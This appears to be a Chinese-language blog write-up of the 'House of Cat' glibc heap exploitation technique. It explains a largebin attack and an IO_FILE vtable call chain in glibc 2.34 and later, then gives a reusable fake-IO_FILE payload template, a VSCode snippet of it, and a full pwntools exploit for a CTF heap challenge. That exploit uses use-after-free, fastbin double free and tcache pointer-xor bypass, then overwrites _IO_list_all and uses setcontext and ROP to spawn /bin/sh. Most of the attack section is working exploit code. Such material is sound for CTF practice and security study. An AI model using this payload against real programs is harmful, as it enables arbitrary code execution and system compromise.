# house of cat

# Why cat?

众所周知,自从 glibc2.34 以后,glibc 的一堆 hook 都被删除了。比如 malloc_hook free_hook realloc_hook。为了应对这种情况,于是利用 IO_FILE 来攻击结构体来 getSHELL
cat 直到最新的 libc 都是可以用的!!!

# Prepare:Largebin Attack after 2.30

众所周知,自从 2.30 的 glibc 之后,添加了对 largebin 的检查

c
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
                            malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
                                                  if (bck->fd != fwd)
                        malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");

于是常规了 largebin attack 无法使用了。

但是,这个检查只针对当前 chunk 大于当前 list 里的 chunk 的情况,但是对于小于这些 list 中的 chunk 的情况没有检查(因为他只检查了 nextsize 的 fwd 的链表)

c
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk))
{
    fwd = bck;
    bck = bck->bk;
    victim->fd_nextsize = fwd->fd;
    victim->bk_nextsize = fwd->fd->bk_nextsize; // 1
    fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; // 2
}
else
...

可以看到 victim->bk_nextsize->fd_nextsize = victim; 由于前面进行了 victim->bk_nextsize 的修改,实际上是 fwd->fd->bk_nextsize->fd_nextsize。
此时如果这个 list 原本就有一个 chunkA,并且我们把他的 bk_nextsize 修改为 target-0x20,那么我们再添加一个略微小的 chunkB,那么这时候就可以让 (target-0x20)->fd_nextsize 被修改为 chunkB 的地址。
那么我们就可以修改 IO_list_all 的数值为一个 chunk 的地址,那么我们就可以在 chunk 里伪造 IO_FILE 结构体从而调用某些东西来 get SHELL

# main—process

一种可行的调用链为 exit () -> _IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode) -> _IO_switch_to_wget_mode ( * fp ) -> _IO_WOVERFLOW (fp, WEOF)

但是最后一个是个宏

c
#define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH)
#define WJUMP1(FUNC, THIS, X1) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)

最终调用的是

c
#define _IO_WIDE_JUMPS(THIS) \
  _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable
#define _IO_CAST_FIELD_ACCESS(THIS, TYPE, MEMBER) \
  (*(_IO_MEMBER_TYPE (TYPE, MEMBER) *)(((char *) (THIS)) \
				       + offsetof(TYPE, MEMBER)))

_wide_vtable 就是 vtable

c
struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
};

所以说实际上他还是根据 IO_FILE 结构体来找 vtable 来调用函数的。
如果他从是我们伪造的 IO_FILE 结构体中找的 vtable,由于_IO_switch_to_wget_mode 在调用 vtable 的时候没有进行检查,所以我们的 vtable 也就不用一定在那个被保护的段里面了。
具体看图:

于是我们直接根据汇编造 fake 的结构体就行了。

# 模板

n
ru("0x")
libcbase=int(r(12),16)
LOGTOOL['libcbase']=libcbase
ru("0x")
fake_io=int(r(12),16)
LOGTOOL['fake_io']=fake_io   # chunk_start (prev_size)
IO_file_jumps=libcbase+0x216600
LOGTOOL["IO_file_jump"]=IO_file_jumps
IO_wfile_jumps=libcbase+0x2160C0
LOGTOOL["IO_wfile_jumps"]=IO_wfile_jumps
execve_addr=libcbase+0xeb080
LOGTOOL['execve']=execve_addr
setcontext_61=libcbase+0x539E0+61
LOGTOOL['setcontext_61']=setcontext_61
lr=libcbase+0x4da83
ret=libcbase+0x29139
pop_rdi=libcbase+0x2a3e5 
pop_rsi=libcbase+0x002be51
pop_rdx=libcbase+0x0796a2 
rop=b'/bin/sh\x00'
pay=flat(
{
0x30:[p64(0),p64(0),p64(0),p64(1),p64(fake_io+0x138)],  # wide_data
0xa0:[p64(fake_io+0x30)],
0xc0:[p64(1)],   #_mode
0xd8:[p64(IO_wfile_jumps+0x30)],    # vtable
0x110:[p64(fake_io+0x118)], # wide_data -> vtable
0x118:flat(
{
0x18:[p64(setcontext_61)]
},filler=b'\x00'
),
0x138:flat(
{
0x68:p64(fake_io+0x1e8),    # rdi 
0x70:p64(0),                # rsi
0x88:p64(0),                # rdx
0xa0:p64(fake_io+0x1e8),    # rsp
0xa8:p64(ret)       # ret_addr
},filler=b'\x00'
),
0x1e8:flat(
{
0x00:p64(pop_rdi)+p64(libcbase+0x01d8698)+p64(pop_rsi)+p64(0)+p64(pop_rdx)+p64(0)+p64(execve_addr)
},filler=b'\x00'
)
},filler=b'\x00'
)
s(pay[0x10:])

VSCode-Snippets 形式:

n
"House of Cat": {
		"prefix": "cat-payload",
		"body": [
			"ru(\"0x\")\nlibcbase=int(r(12),16)\nLOGTOOL['libcbase']=libcbase\n\nru(\"0x\")\nfake_io=int(r(12),16)\n",
			"LOGTOOL['fake_io']=fake_io   # chunk_start (prev_size)\n\nIO_file_jumps=libcbase+0x216600\nLOGTOOL[\"IO_file_jump\"]=IO_file_jumps",
			"\n\nIO_wfile_jumps=libcbase+0x2160C0\nLOGTOOL[\"IO_wfile_jumps\"]=IO_wfile_jumps\n\nexecve_addr=libcbase+0xeb080\nLOGTOOL['execve']=execve_addr",
			"\n\nsetcontext_61=libcbase+0x539E0+61\nLOGTOOL['setcontext_61']=setcontext_61\n\nlr=libcbase+0x4da83\nret=libcbase+0x29139\npop_rdi=libcbase+0x2a3e5 \npop_rsi=libcbase+0x002be51\npop_rdx=libcbase+0x0796a2 ",
			"\n\nrop=b'/bin/sh\\x00'\n\npay=flat(\n{\n0x30:[p64(0),p64(0),p64(0),p64(1),p64(fake_io+0x138)],  # wide_data",
			"\n0xa0:[p64(fake_io+0x30)],\n0xc0:[p64(1)],   #_mode\n0xd8:[p64(IO_wfile_jumps+0x30)],    # vtable\n0x110:[p64(fake_io+0x118)], # wide_data -> vtable",
			"\n\n0x118:flat(\n{\n0x18:[p64(setcontext_61)]\n},filler=b'\\x00'\n),\n\n0x138:flat(\n{\n0x68:p64(fake_io+0x1e8),    # rdi \n0x70:p64(0),                # rsi\n0x88:p64(0),                # rdx",
			"\n0xa0:p64(fake_io+0x1e8),    # rsp\n0xa8:p64(ret)       # ret_addr\n},filler=b'\\x00'\n),\n\n0x1e8:flat(\n{\n0x00:p64(pop_rdi)+p64(libcbase+0x01d8698)+p64(pop_rsi)+p64(0)+p64(pop_rdx)+p64(0)+p64(execve_addr)",
			"\n},filler=b'\\x00'\n)\n\n\n},filler=b'\\x00'\n)\ns(pay[0x10:])"
		],
		"description": "Payload template of House of Cat.(IO_FILE)"
	}

# 另一种调用链

修改 / 伪造 stderr 结构体,然后引发 malloc 相关的报错来调用函数。基本上一样。

# 实战

# pearl ctf (一周前的比赛)

一周前的比赛,pwn 签到就是这个 2.35 的 heap
明显的 UAF,free 之后指针没有清零。限制了 15 个 chunk,但是不意味着只能使用 15 次 malloc。
同时限制了 malloc 的 chunk 的 size 最大 0x200
其他没有啥奇怪的。

直接 fastbin double free,但是自从 2.34 之后 fastbin 和 Tcache 加入了指针异或保护,对策就是泄露 heap 基址异或一下。
当然毋庸置疑要 leak libc 基址。这个就很简单,不说了。
修改 chunk 的 fd 为 target 之后,我们可以发现这个 chunk 现在是位于 Tcache 中。因为我们构造的 fastbin 链表 A->B->A,在 mallocA 之后会把 B 和 A 放入 Tcachebin 中,那么取出的时候保护就等于没有。(因为 Tcache 的检查基本都在 free 那里)
我们直接让 Target 为 IO_list_all,申请到这里的 chunk 之后我们修改它为一个 chunk 的地址,那个 chunk 我们之前是伪造了 IO_FILE 结构体的,那么我们就能利用 exit () 来 getshell 了。
这题的 chunk size 的限制估计是出题人故意卡在 0x200 的,因为这个伪造的 IO_FILE 结构体的大小正好是 0x1f0,加上 chunk 头就正好 0x200.

其实这题不一定要打 IO_FILE,尤其是 cat,因为这个 0x200 的 size 卡的实在是凑巧了,如果给的是 0x100 估计就不好说了。
那么这时候打 libc 的 got 表 + one_gadget 或许是一个更好的选择。
感觉 house of cat 还是在 size 限制在只是 largebin 范围的时候使用才是最合适的。(毕竟 largebin attack 只能写一个地址才叫极限)

这题为了练习一下 cat 所以用的 cat。

EXP:

n
#patchelf --set-interpreter /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --replace-needed libc.so.6 /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6 pwn
from pwn import*
from Crypto.Util.number import long_to_bytes,bytes_to_long
context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']
pwn = './heap'
#p=remote(' ',)
p=process(['./ld-linux-x86-64.so.2', pwn], env={"LD_PRELOAD":'./libc.so.6'})
# p=process('')
# gdb.attach(p)
#elf=ELF(pwn)
#libc=ELF('./libc.so.6')
# p.interactive()
def debug():
    global p
    text_base, libc_base = get_base(p, 'noka')
    script = '''
    set $text_base = {}
    set $libc_base = {}
    b _IO_flush_all_lockp
    b exit
    b _IO_wfile_seekoff
    b _IO_switch_to_wget_mode
    '''.format(text_base, libc_base)
    #b*$rebase(0x1813)
    #b*$rebase(0x18e5)
    #b mprotect
    #b *($text_base+0x0000000000000000F84)
    #b *($text_base+0x000000000000134C)
    # b *($text_base+0x0000000000000000001126)
    #dprintf *($text_base+0x04441),"%c",$ax
    #dprintf *($text_base+0x04441),"%c",$ax
    #0x12D5
    #0x04441
    #b *($text_base+0x0000000000001671)
    gdb.attach(p, script)
rut=lambda s :p.recvuntil(s,timeout=0.3)
ru=lambda s :p.recvuntil(s)
r=lambda n :p.recv(n)
sl=lambda s :p.sendline(s)
sls=lambda s :p.sendline(str(s))
ss=lambda s :p.send(str(s))
s=lambda s :p.send(s) 
uu64=lambda data :u64   (data.ljust(8,'\x00'))
it=lambda :p.interactive()
b=lambda :gdb.attach(p)
bp=lambda bkp:gdb.attach(p,'b *'+str(bkp))
get_leaked_libc = lambda :u64(ru(b'\x7f')[-6:].ljust(8,b'\x00'))
LOGTOOL={}
def LOGALL():
    log.success("**** all result ****")
    for i in LOGTOOL.items():
        log.success("%-20s%s"%(i[0]+":",hex(i[1])))
def get_base(a, text_name):
    text_addr = 0
    libc_base = 0
    for name, addr in a.libs().items():
        if text_name in name:
            text_addr = addr
        elif "libc" in name:
            libc_base = addr 
    return text_addr, libc_base
def ptrxor(pos,ptr):
    return p64((pos >> 12) ^ ptr)
def create_link_map(l_addr,know_got,link_map_addr):
    link_map=p64(l_addr & (2 ** 64 - 1))    
    #dyn_relplt
    link_map+=p64(0)
    link_map+=p64(link_map_addr+0x18)        #ptr2relplt
    #relplt
    link_map+=p64((know_got - l_addr)&(2**64-1))    
    link_map+=p64(0x7)
    link_map+=p64(0)
    #dyn_symtab
    link_map+=p64(0)
    link_map+=p64(know_got-0x8)
    link_map+=b'/flag\x00\0\x00'
    link_map=link_map.ljust(0x68,b'B')
    link_map+=p64(link_map_addr)        #ptr2dyn_strtab_addr
    link_map+=p64(link_map_addr+0x30)        #ptr2dyn_symtab_addr
    link_map=link_map.ljust(0xf8,b'C')
    link_map+=p64(link_map_addr+0x8)        #ptr2dyn_relplt_addr
    return link_map
# 1. Create note\n2. Delete note\n3. View notes\n4. Exit
def add(idx,size,con):
    ru("Enter choice")
    sl("1")
    ru("Note Index")
    sl(str(idx))
    ru("Note Size")
    sl(str(size))
    ru("Note Content >")
    sl(con)
def dele(idx):
    ru("Enter choice")
    sl("2")
    ru("Note Index")
    sl(str(idx))
def view(idx):
    ru("Enter choice")
    sl("3")
    ru("Note Index")
    sl(str(idx))
def hack():
    ru("Enter choice")
    sl("4")
add(7,0x100,b'a')
add(8,0x100,b'a')
add(9,0x100,b'a')
add(0,0x100,b'a')
add(1,0x100,b'a')
add(2,0x100,b'a')
add(3,0x100,b'a')
add(4,0x100,b'a')
add(5,0x100,b'a')
add(6,0x100,b'a')
dele(0)
dele(1)
dele(2)
dele(3)
dele(4)
dele(5)
dele(6)
dele(7)
view(7)
p.recv()
addr=u64(p.recv(6)+b'\x00\x00')
base=addr-(0x7f7546619ce0-0x7f7546400000)
fake=base+0x21A680-0x23
print(hex(base))
dele(9)
view(9)
p.recv()
heap_add=u64(p.recv(6)+b'\x00\x00')
heap_base=heap_add-0x290
print(hex(heap_base))
add(0,0x100,b'a')
add(0,0x100,b'a')
add(0,0x100,b'a')
add(0,0x100,b'a')
add(0,0x100,b'a')
add(0,0x100,b'a')
add(0,0x100,b'a')
add(0,0x100,b'a')
add(0,0x100,b'a')
add(7,0x68,b'a')
add(8,0x68,b'a')
add(9,0x68,b'a')
add(0,0x68,b'a')
add(1,0x68,b'a')
add(2,0x68,b'a')
add(3,0x68,b'a')
add(4,0x68,b'a')
add(5,0x68,b'a')
add(6,0x68,b'a')
dele(0)
dele(1)
dele(2)
dele(3)
dele(4)
dele(5)
dele(6)
dele(7)
dele(9)
dele(7)
xxx=heap_add>>12
fakeio=heap_base+0x5555563f2190-0x5555563f1000
add(0,0x68,p64(fake^xxx)+p64(0))
add(0,0x68,p64(fake^xxx)+p64(0))
add(0,0x68,p64(fake^xxx)+p64(0))
add(0,0x68,p64(fake^xxx)+p64(0))
add(0,0x68,p64(fake^xxx)+p64(0))
add(0,0x68,p64(fake^xxx)+p64(0))
add(0,0x68,p64(fake^xxx)+p64(0))
add(10,0x68,p64((fake+0x23)^xxx)+p64(0))
add(10,0x68,p64((fake+0x23)^xxx)+p64(0))
add(10,0x68,p64((fake+0x23)^xxx)+p64(0))
add(10,0x68,p64(fakeio)+p64(0))
libcbase=base
LOGTOOL['libcbase']=libcbase
fake_io=fakeio
LOGTOOL['fake_io']=fake_io   # chunk_start (prev_size)
IO_file_jumps=libcbase+0x216600
LOGTOOL["IO_file_jump"]=IO_file_jumps
IO_wfile_jumps=libcbase+0x2160C0
LOGTOOL["IO_wfile_jumps"]=IO_wfile_jumps
execve_addr=libcbase+0xeb0f0
LOGTOOL['execve']=execve_addr
setcontext_61=libcbase+0x53a30+61
LOGTOOL['setcontext_61']=setcontext_61
lr=libcbase+0x562ec
ret=libcbase+0x29cd6
pop_rdi=libcbase+0x2a3e5
pop_rsi=libcbase+0x2be51
pop_rdx2=libcbase+0x90529
system=base+0x50d60
rop=b'/bin/sh\x00'
pay=flat(
{
0x30:[p64(0),p64(0),p64(0),p64(1),p64(fake_io+0x138)],  # wide_data
0xa0:[p64(fake_io+0x30)],
0xc0:[p64(1)],   #_mode
0xd8:[p64(IO_wfile_jumps+0x30)],    # vtable
0x110:[p64(fake_io+0x118)], # wide_data -> vtable
0x118:flat(
{
0x18:[p64(setcontext_61)]
},filler=b'\x00'
),
0x138:flat(
{
0x68:p64(fake_io+0x1e8),    # rdi 
0x70:p64(0),                # rsi
0x88:p64(0),                # rdx
0xa0:p64(fake_io+0x1e8),    # rsp
0xa8:p64(system)       # ret_addr
},filler=b'\x00'
),
0x1e8:flat(
{
0x00:rop
},filler=b'\x00'
)
},filler=b'\x00'
)
add(15,0x200,pay[0x10:])
debug()
hack()
LOGALL()
it()
Edited on Views times

Give me a cup of [卡布奇诺]~( ̄▽ ̄)~*

Zchared WeChat Pay

WeChat Pay

Zchared Alipay

Alipay

Zchared PayPal

PayPal